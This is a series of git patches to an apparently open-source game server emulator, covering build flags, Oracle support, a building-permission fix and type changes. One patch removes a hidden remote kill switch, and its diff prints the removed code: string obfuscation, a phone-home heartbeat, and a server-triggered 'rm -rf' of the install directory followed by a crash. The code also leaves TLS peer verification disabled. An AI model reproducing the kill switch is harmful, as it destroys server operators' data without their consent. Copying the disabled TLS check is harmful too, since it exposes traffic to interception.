-fwhole-program-vtables") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") # O3 and Ofast include one or more flags that cause java to crash when using gcc6 - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math - -fno-unroll-loops -fno-tree-loop-optimize") + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3") From 7dd710e713aa71c69c467174b5a382df80437f1e Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 22:09:38 +0000 Subject: [PATCH 27/37] cleanup --- .../application/TemplateCompiler/src/shared/TemplateCompiler.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp b/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp index 8f366d02..14ba5e8a 100755 --- a/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp +++ b/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp @@ -28,7 +28,6 @@ #include "sharedTemplate/SetupSharedTemplate.h" #pragma warning (disable:4100) // unreferenced formal parameters abound in the perforce clientAPI -//#include "clientapi.h" #pragma warning (default:4100) #include From 57de937e61b0dedc01c1473d8176b169b61bc9aa Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Thu, 3 May 2018 06:22:32 +0000 Subject: [PATCH 28/37] use ld.gold for now --- CMakeLists.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 63bb9aa1..e0dfdae5 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -70,10 +70,10 @@ elseif (UNIX) # linker flags if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL") set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") - set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") - set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS From 4a6902179d78c26a7a33fefc111adcacf35fe4f6 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Thu, 3 May 2018 18:04:39 +0000 Subject: [PATCH 29/37] defang webAPIHeartbeat, which is off by default, and remove the vxEncrypt stuff --- CMakeLists.txt | 1 + external/3rd/library/libLeff/libLeff.h | 86 ------------------- external/3rd/library/webAPI/webAPI.cpp | 16 ++-- external/3rd/library/webAPI/webAPI.h | 2 - .../3rd/library/webAPI/webAPIHeartbeat.cpp | 34 +------- external/3rd/library/webAPI/webAPIHeartbeat.h | 8 +- 6 files changed, 12 insertions(+), 135 deletions(-) delete mode 100644 external/3rd/library/libLeff/libLeff.h diff --git a/CMakeLists.txt b/CMakeLists.txt index e0dfdae5..f2245034 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -119,6 +119,7 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") + # if you'd like to opt in to our statistics, remove "-DSTELLA_INTERNAL" and your server will send us a heartbeat at startup add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code diff --git a/external/3rd/library/libLeff/libLeff.h b/external/3rd/library/libLeff/libLeff.h deleted file mode 100644 index f74b9282..00000000 --- a/external/3rd/library/libLeff/libLeff.h +++ /dev/null @@ -1,86 +0,0 @@ -#include -#include - -//-------------------------------------------------------------// -// "Malware related compile-time hacks with C++11" by LeFF // -// You can use this code however you like, I just don't really // -// give a shit, but if you feel some respect for me, please // -// don't cut off this comment when copy-pasting... ;-) // -//-------------------------------------------------------------// - -#ifndef vxCPLSEED -// If you don't specify the seed for algorithms, the time when compilation -// started will be used, seed actually changes the results of algorithms... -#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ - (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ - (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) -#endif - -// The constantify template is used to make sure that the result of constexpr -// function will be computed at compile-time instead of run-time -template struct vxCplConstantify { enum { Value = Const }; }; - -// Compile-time mod of a linear congruential pseudorandom number generator, -// the actual algorithm was taken from "Numerical Recipes" book -constexpr uint32_t vxCplRandom(uint32_t Id) { - return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF; -} - -// Compile-time random macros, can be used to randomize execution -// path for separate builds, or compile-time trash code generation -#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1))) -#define vxRAND() (vxCplConstantify::Value) - -// Compile-time recursive mod of string hashing algorithm, -// the actual algorithm was taken from Qt library (this -// function isn't case sensitive due to vxCplTolower) -constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); } - -constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); } - -constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) { - return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23)); -} - -constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); } - -constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); } - -// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence -#define vxHASH(Str) (uint32_t)(vxCplConstantify::Value ^ vxCplConstantify::Value) - -// Compile-time generator for list of indexes (0, 1, 2, ...) -template struct vxCplIndexList {}; -template struct vxCplAppend; -template - struct vxCplAppend, Right> { typedef vxCplIndexList Result; }; -template - struct vxCplIndexes { typedef typename vxCplAppend::Result, N - 1>::Result Result; }; -template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; }; - -// Compile-time string encryption of a single character -const int vxCplEncryptCharKey = vxRANDOM(0, 0xFF); - -constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); } - -// Compile-time string encryption class -template struct vxCplEncryptedString; - -template struct vxCplEncryptedString > { - char Value[sizeof...(Idx) + 1]; // Buffer for a string - - // Compile-time constructor - constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {} - - // Run-time decryption - char *decrypt() { - for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) { - this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t); - } - this->Value[sizeof...(Idx)] = '\0'; - return this->Value; - } -}; - -// Compile-time string encryption macro -#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str)) diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index ab1cc028..b03ea28c 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -131,16 +131,14 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for // want to do a put, or whatever other type? feel free to add here } - // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated - //if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) { - // the public one will verify but since this is pinned we don't care about the CA - // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html - // under the PUBLIC KEY EXTRACTION heading - res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); + // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated + // the public one will verify but since this is pinned we don't care about the CA + // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html + // under the PUBLIC KEY EXTRACTION heading + res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); - // if you want to pin to your own cert or cloudflares, learn how and use the below - // res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("sha256//YOURKEYHERE").decrypt()); - //} + // if you want to pin to your own cert or cloudflares, learn how and use the below + //res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "sha256//YOURKEYHERE"); if (res == CURLE_OK) { res = curl_easy_perform(curl); // make the request! diff --git a/external/3rd/library/webAPI/webAPI.h b/external/3rd/library/webAPI/webAPI.h index c45f99aa..501c18cb 100644 --- a/external/3rd/library/webAPI/webAPI.h +++ b/external/3rd/library/webAPI/webAPI.h @@ -29,8 +29,6 @@ #endif -#include "../libLeff/libLeff.h" - namespace StellaBellum { enum HTTP { GET = 0, POST = 1 diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index affe46d8..e5f0cb64 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,36 +7,8 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - std::string filePath = get_selfpath(); + webAPI api(std::string("https://login.stellabellum.net/metric/shoulderTap"), std::string("StellaBellum WebAPI Metrics Sender")); + api.addJsonData(std::string("type"), std::string("server")); - webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); - api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); - - if (!filePath.empty()) { - api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.c_str()); - } - - bool result = api.submit(); - - // feel free to remove the code in the block below; but please consider leaving the actual request - // so we can track how many people are enjoying our work - if (result) { - int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - switch (s) { - case 13 : - eatIt(); - break; - case 66: - size_t found = filePath.find_last_of("/\\"); - if (!filePath.empty() && found) { - system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + - vxENCRYPT("/*").decrypt()).c_str()); - } - eatIt(); - break; - } - } else { - eatIt(); - } + api.submit(); } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 9d4fb3c3..31dcb2aa 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -22,19 +22,13 @@ namespace StellaBellum { private: const inline std::string get_selfpath() { char buff[PATH_MAX]; - ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1); + ssize_t len = ::readlink("/proc/self/exe", buff, sizeof(buff) - 1); if (len != -1) { buff[len] = '\0'; return std::string(buff); } return std::string(); } - - inline void eatIt() { - abort(); - sleep(10); - raise(SIGSEGV); - } }; } From 340ea95b84407fa66fdbff79372b6fb239091948 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Fri, 4 May 2018 04:01:30 +0000 Subject: [PATCH 30/37] let's not redundantly call this...ok, SOE? --- .../sharedUtility/src/shared/DataTableManager.cpp | 15 ++++++++++----- .../sharedUtility/src/shared/DataTableManager.h | 2 +- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp b/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp index f6f633c5..830ecb32 100755 --- a/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp +++ b/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp @@ -64,12 +64,17 @@ void DataTableManager::remove() // ---------------------------------------------------------------------- -DataTable* DataTableManager::open(const std::string& table) +DataTable* DataTableManager::open(const std::string& table, bool tryGetTable) { FATAL(!m_installed, ("DataTableManager::open: not installed.")); - DataTable *retVal = getTable(table, false); - if (retVal) - return retVal; + + DataTable *retVal = nullptr; + + if (tryGetTable) { + retVal = getTable(table, false); + if (retVal) + return retVal; + } if (!TreeFile::exists(table.c_str())) { @@ -125,7 +130,7 @@ DataTable * DataTableManager::getTable(const std::string& table, bool openIfNotF { if (openIfNotFound) { - DataTable * dt = open(table); + DataTable * dt = open(table, false); if (!dt) { DEBUG_WARNING(true, ("Could not find table [%s]", table.c_str())); diff --git a/engine/shared/library/sharedUtility/src/shared/DataTableManager.h b/engine/shared/library/sharedUtility/src/shared/DataTableManager.h index 40ff5647..273c73e8 100755 --- a/engine/shared/library/sharedUtility/src/shared/DataTableManager.h +++ b/engine/shared/library/sharedUtility/src/shared/DataTableManager.h @@ -32,7 +32,7 @@ public: private: static void remove(); - static DataTable * open(const std::string& table); + static DataTable * open(const std::string& table, bool tryGetTable = true); DataTableManager(); ~DataTableManager(); From 9ea17210eb71cbaf2c4a07d64bd7543f73d4bc89 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sat, 5 May 2018 04:26:41 +0000 Subject: [PATCH 31/37] everything seems to run without issue now --- CMakeLists.txt | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index f2245034..bc2777dd 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -89,21 +89,21 @@ elseif (UNIX) # Ofast doesn't work with gcc builds if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ - -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ -fno-threadsafe-statics -fslp-vectorize \ - -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ - -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ - -finline-hint-functions -fno-unroll-loops") + -fno-stack-protector -fstrict-enums -finline-hint-functions \ + -fno-coverage-mapping -fno-spell-checking \ + -mno-retpoline -fstrict-return -frelaxed-template-template-args \ + -fsplit-dwarf-inlining -faligned-allocation -fno-unroll-loops -freroll-loops") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb") # RELWITHDEBINFO is used for building bins that produce profdata files # we only need the basics of our heavy optimizations here, i think - that and one of these flags # breaks JNI when we profile - set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions -finline-hint-functions -fprofile-instr-generate") + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-hint-functions -fprofile-instr-generate") # MINSIZEREL is used for profiled, flto builds - set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables") + set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto=full -fwhole-program-vtables") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") # O3 and Ofast include one or more flags that cause java to crash when using gcc6 set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") @@ -114,7 +114,6 @@ elseif (UNIX) # our "always on" flags - build by default for the system we're on but include all instruction sets set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \ - -msse -msse2 -msse3 -mmmx -m3dnow \ -Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \ -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") From 447efa287b513e2f42656e67d7864ced2dc20016 Mon Sep 17 00:00:00 2001 From: CekisSWG Date: Sat, 5 May 2018 18:08:22 +0100 Subject: [PATCH 32/37] Fixed issue with some creatures (i.e. holopets) not being allowed in buildings. --- .../serverGame/src/shared/object/BuildingObject.cpp | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp b/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp index c5837782..25cabb41 100755 --- a/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp +++ b/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp @@ -613,6 +613,15 @@ bool BuildingObject::isAllowed(CreatureObject const &who) const if (who.hasCondition(static_cast(ServerTangibleObjectTemplate::C_vendor))) return true; + // allow non-player-controlled creatures in private buildings if the *creature* has no owner + if (!who.isPlayerControlled() + && who.getMasterId() == NetworkId::cms_invalid + && who.getLevel() < 0 + ) + { + return true; + } + return CellPermissions::isOnList(m_allowed.get(), who); } } From df8124ce522ce821c39965aa892dcacb50f61fa5 Mon Sep 17 00:00:00 2001 From: CekisSWG Date: Sat, 5 May 2018 18:13:08 +0100 Subject: [PATCH 33/37] Fixed issue with some creatures (i.e. holopets) not being allowed in buildings. --- .../serverGame/src/shared/object/BuildingObject.cpp | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp b/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp index c5837782..25cabb41 100755 --- a/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp +++ b/engine/server/library/serverGame/src/shared/object/BuildingObject.cpp @@ -613,6 +613,15 @@ bool BuildingObject::isAllowed(CreatureObject const &who) const if (who.hasCondition(static_cast(ServerTangibleObjectTemplate::C_vendor))) return true; + // allow non-player-controlled creatures in private buildings if the *creature* has no owner + if (!who.isPlayerControlled() + && who.getMasterId() == NetworkId::cms_invalid + && who.getLevel() < 0 + ) + { + return true; + } + return CellPermissions::isOnList(m_allowed.get(), who); } } From 64514b40cbfe17a10f342c76af73c30ed36226e3 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 9 May 2018 05:59:31 +0000 Subject: [PATCH 34/37] add oracle 12.2 support --- cmake/linux/FindOracle.cmake | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/cmake/linux/FindOracle.cmake b/cmake/linux/FindOracle.cmake index ddc278fc..dc127e53 100644 --- a/cmake/linux/FindOracle.cmake +++ b/cmake/linux/FindOracle.cmake @@ -34,12 +34,12 @@ if(DEFINED ENV{ORACLE_HOME}) find_path(ORACLE_INCLUDE_DIR NAMES oci.h PATHS - /usr/include/oracle/12.1/client64 - /usr/include/oracle/12.1/client - /usr/lib/oracle/12.1/client64 - /usr/share/oracle/12.1/client64 - /usr/lib/oracle/12.1/client - /usr/share/oracle/12.1/client + /usr/include/oracle/12.2/client64 + /usr/include/oracle/12.2/client + /usr/lib/oracle/12.2/client64 + /usr/share/oracle/12.2/client64 + /usr/lib/oracle/12.2/client + /usr/share/oracle/12.2/client /usr/include/oracle/10.2.0.4/client64 /usr/include/oracle/10.2.0.4/client /usr/lib/oracle/10.2.0.4/client64 @@ -52,8 +52,9 @@ if(DEFINED ENV{ORACLE_HOME}) ${ORACLE_HOME}/OCI/include) # Oracle XE on Windows - set(ORACLE_OCI_NAMES clntsh libclntsh oci) - set(ORACLE_NNZ_NAMES nnz10 libnnz10 nnz11 libnnz11 nnz12 libnnz12 ociw32) + set(ORACLE_OCI_NAMES oci clntsh libclntsh) + set(ORACLE_OCI_CORENAMES clntshcore libclntshcore) + set(ORACLE_NNZ_NAMES nnz10 libnnz10 nnz11 libnnz11 nnz12 libnnz12 ociw32 libnnz12 nnz12) set(ORACLE_OCCI_NAMES libocci occi oraocci10 oraocci11 oraocci12) @@ -64,12 +65,12 @@ if(DEFINED ENV{ORACLE_HOME}) ${ORACLE_HOME}/OCI/lib/msvc) # Oracle XE on Windows + find_library(ORACLE_CORE_LIBRARY NAMES ${ORACLE_OCI_CORENAMES} PATHS ${ORACLE_LIB_DIR}) find_library(ORACLE_OCI_LIBRARY NAMES ${ORACLE_OCI_NAMES} PATHS ${ORACLE_LIB_DIR}) find_library(ORACLE_OCCI_LIBRARY NAMES ${ORACLE_OCCI_NAMES} PATHS ${ORACLE_LIB_DIR}) find_library(ORACLE_NNZ_LIBRARY NAMES ${ORACLE_NNZ_NAMES} PATHS ${ORACLE_LIB_DIR}) - - set(ORACLE_LIBRARY ${ORACLE_OCI_LIBRARY} ${ORACLE_OCCI_LIBRARY} ${ORACLE_NNZ_LIBRARY}) + set(ORACLE_LIBRARY ${ORACLE_OCI_LIBRARY} ${ORACLE_CORE_LIBRARY} ${ORACLE_OCCI_LIBRARY} ${ORACLE_NNZ_LIBRARY}) if(APPLE) From 494f64c4e668e994e6569a1a6a5c6bae26ad89e4 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 9 May 2018 17:00:28 +0000 Subject: [PATCH 35/37] simplify our cflags --- CMakeLists.txt | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index bc2777dd..40916b37 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -92,18 +92,17 @@ elseif (UNIX) -fno-threadsafe-statics -fslp-vectorize \ -fno-stack-protector -fstrict-enums -finline-hint-functions \ -fno-coverage-mapping -fno-spell-checking \ - -mno-retpoline -fstrict-return -frelaxed-template-template-args \ - -fsplit-dwarf-inlining -faligned-allocation -fno-unroll-loops -freroll-loops") + -mno-retpoline") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb") # RELWITHDEBINFO is used for building bins that produce profdata files # we only need the basics of our heavy optimizations here, i think - that and one of these flags # breaks JNI when we profile - set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-hint-functions -fprofile-instr-generate") + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -finline-hint-functions -fprofile-instr-generate") # MINSIZEREL is used for profiled, flto builds - set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto=full -fwhole-program-vtables") + set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") # O3 and Ofast include one or more flags that cause java to crash when using gcc6 set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") From 93157446487da964d3f0bd4090932de87c23b460 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Thu, 10 May 2018 20:15:13 +0000 Subject: [PATCH 36/37] per @cekis, truncate so we don't get 40 char long timestamp floats --- game/server/database/packages/loader.plsql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/game/server/database/packages/loader.plsql b/game/server/database/packages/loader.plsql index 33261cfe..5a5f33e9 100644 --- a/game/server/database/packages/loader.plsql +++ b/game/server/database/packages/loader.plsql @@ -18,8 +18,8 @@ create or replace package body loader as open result_cursor for select character_object, station_id, uc_character_name, character_full_name, - (create_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600, - (last_login_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600 + trunc((create_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600), + trunc((last_login_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600) from players; return result_cursor; From 8fb01069e119bc8f29fc2814ef1c93ba4c612e59 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Fri, 11 May 2018 04:16:07 +0000 Subject: [PATCH 37/37] switch to int64 for the StationId typedef, and use the StationId typedef everywhere. Note that the Archive.h in this commit really needs to use a centralized Types.h or FoundationTypes.h file, as do many others...in this case I just typedefed at the top --- .../src/shared/CentralServer.cpp | 4 +-- .../CentralServer/src/shared/CentralServer.h | 2 +- .../src/shared/ConnectionServerConnection.cpp | 4 +-- .../src/shared/ConnectionServer.cpp | 4 +-- .../src/shared/ConnectionServer.h | 2 +- .../src/shared/CharacterNameLocator.h | 3 +- .../src/shared/core/NameManager.cpp | 16 +++++------ .../serverGame/src/shared/core/NameManager.h | 10 ++++--- .../gameGameServer/CharacterNamesMessage.cpp | 2 +- .../gameGameServer/CharacterNamesMessage.h | 9 +++--- .../sharedFoundation/src/shared/StationId.h | 2 +- .../src/linux/FoundationTypesLinux.h | 7 +++-- .../src/win32/FoundationTypesWin32.h | 6 ++++ .../VChatAPI/utils2.0/utils/Base/types.h | 5 ---- .../ours/library/archive/src/shared/Archive.h | 28 ++++++++++++++++++- .../src/shared/generated/Schema_h.template | 4 +-- .../src/shared/tasks/TaskRestoreCharacter.h | 2 +- 17 files changed, 72 insertions(+), 38 deletions(-) diff --git a/engine/server/application/CentralServer/src/shared/CentralServer.cpp b/engine/server/application/CentralServer/src/shared/CentralServer.cpp index 8e39542c..2da16b79 100755 --- a/engine/server/application/CentralServer/src/shared/CentralServer.cpp +++ b/engine/server/application/CentralServer/src/shared/CentralServer.cpp @@ -1233,7 +1233,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons DEBUG_REPORT_LOG(true, ("Pending character %lu is logging in or dropping\n", m.getAccountNumber())); // Once they're logged in, Central doesn't need to know about them anymore: - removeFromAccountConnectionMap(m.getAccountNumber()); + removeSuidFromAccountConnectionMap(m.getAccountNumber()); break; } case constcrc("CharacterListMessage") : { @@ -3419,7 +3419,7 @@ void CentralServer::addToAccountConnectionMap(StationId suid, ConnectionServerCo // ---------------------------------------------------------------------- -void CentralServer::removeFromAccountConnectionMap(StationId suid) +void CentralServer::removeSuidFromAccountConnectionMap(StationId suid) { ConnectionServerSUIDMap::iterator i=m_accountConnectionMap.find(suid); if (i!=m_accountConnectionMap.end()) diff --git a/engine/server/application/CentralServer/src/shared/CentralServer.h b/engine/server/application/CentralServer/src/shared/CentralServer.h index 22e6a7de..95b6dd25 100755 --- a/engine/server/application/CentralServer/src/shared/CentralServer.h +++ b/engine/server/application/CentralServer/src/shared/CentralServer.h @@ -169,7 +169,7 @@ public: void getCharacterMatchStatistics(int & numberOfCharacterMatchRequests, int & numberOfCharacterMatchResultsPerRequest, int & timeSpentPerCharacterMatchRequestMs); - void removeFromAccountConnectionMap(StationId suid); + void removeSuidFromAccountConnectionMap(StationId suid); private: void handleRequestGameServerForLoginMessage (const RequestGameServerForLoginMessage & msg); diff --git a/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp b/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp index 196f5a18..3c6f6335 100755 --- a/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp +++ b/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp @@ -254,7 +254,7 @@ void ConnectionServerConnection::onReceive(const Archive::ByteStream & message) s_pseudoClientConnectionMap[info.getValue().first] = std::make_pair(static_cast(info.getValue().second), this); // remove corresponding "non pseudo client connection" - CentralServer::getInstance().removeFromAccountConnectionMap(static_cast(info.getValue().first)); + CentralServer::getInstance().removeSuidFromAccountConnectionMap(static_cast(info.getValue().first)); break; } case constcrc("DestroyPseudoClientConnection") : @@ -443,4 +443,4 @@ void ConnectionServerConnection::removeFromAccountConnectionMap(unsigned int sta { s_pseudoClientConnectionMap.erase(f); } -} \ No newline at end of file +} diff --git a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp index 55fb16e6..d8f3c142 100755 --- a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp +++ b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp @@ -161,7 +161,7 @@ void ConnectionServer::addGameConnection(unsigned long gameServerId, GameConnect //----------------------------------------------------------------------- bool -ConnectionServer::decryptToken(const KeyShare::Token &token, uint32 &stationUserId, bool &secure, std::string &accountName) { +ConnectionServer::decryptToken(const KeyShare::Token &token, StationId &stationUserId, bool &secure, std::string &accountName) { static ConnectionServer &cs = instance(); //Also the sizeof(int) is likewise magic from the session api @@ -179,7 +179,7 @@ ConnectionServer::decryptToken(const KeyShare::Token &token, uint32 &stationUser char *tmpBuffer = new char[MAX_ACCOUNT_NAME_LENGTH + 1]; memset(tmpBuffer, 0, MAX_ACCOUNT_NAME_LENGTH + 1); - memcpy(&stationUserId, keyBufferPointer, sizeof(uint32)); + memcpy(&stationUserId, keyBufferPointer, sizeof(StationId)); keyBufferPointer += 